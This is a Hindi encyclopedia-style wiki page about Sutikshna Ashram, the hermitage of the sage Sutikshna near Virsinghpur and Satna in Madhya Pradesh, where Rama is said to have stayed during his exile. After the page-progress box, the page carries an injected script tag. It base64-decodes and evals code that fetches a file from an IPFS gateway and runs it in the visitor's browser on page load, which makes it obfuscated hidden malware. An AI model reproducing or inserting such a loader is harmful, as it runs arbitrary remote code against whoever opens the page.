सुतीक्ष्ण आश्रम

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 11:10, 13 अगस्त 2014 का अवतरण (''''सुतीक्ष्ण आश्रम''' वह स्थान है, जहाँ [[अगस्त्य|महर्षि ...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

सुतीक्ष्ण आश्रम वह स्थान है, जहाँ महर्षि अगस्त्य के शिष्य सुतीक्ष्ण मुनि कहा करते थे।[1]

  • यह स्थान मध्य प्रदेश में वीरसिंहपुर से लगभग चौदह मील की दूरी पर स्थित है।
  • शरभंग आश्रम से सीधे जाने पर दस मील पर यह पड़ता है।
  • इस स्थान पर श्रीराम का मंदिर है। महर्षि अगस्त्य के शिष्य सुतीक्ष्ण मुनि यहाँ रहा करते थे।
  • श्रीराम अपने वनवास के समय यहाँ पर्याप्त समय तक रहे थे।
  • कुछ विद्वान वर्तमान सतना (मध्य प्रदेश) को ही सुतीक्ष्ण आश्रम का प्रतिनिधि मानते हैं। चित्रकूट से सतना का सामीप्य इस मत को पुष्ट करता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. हिन्दू धर्मकोश |लेखक: डॉ. राजबली पाण्डेय |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 674 |

संबंधित लेख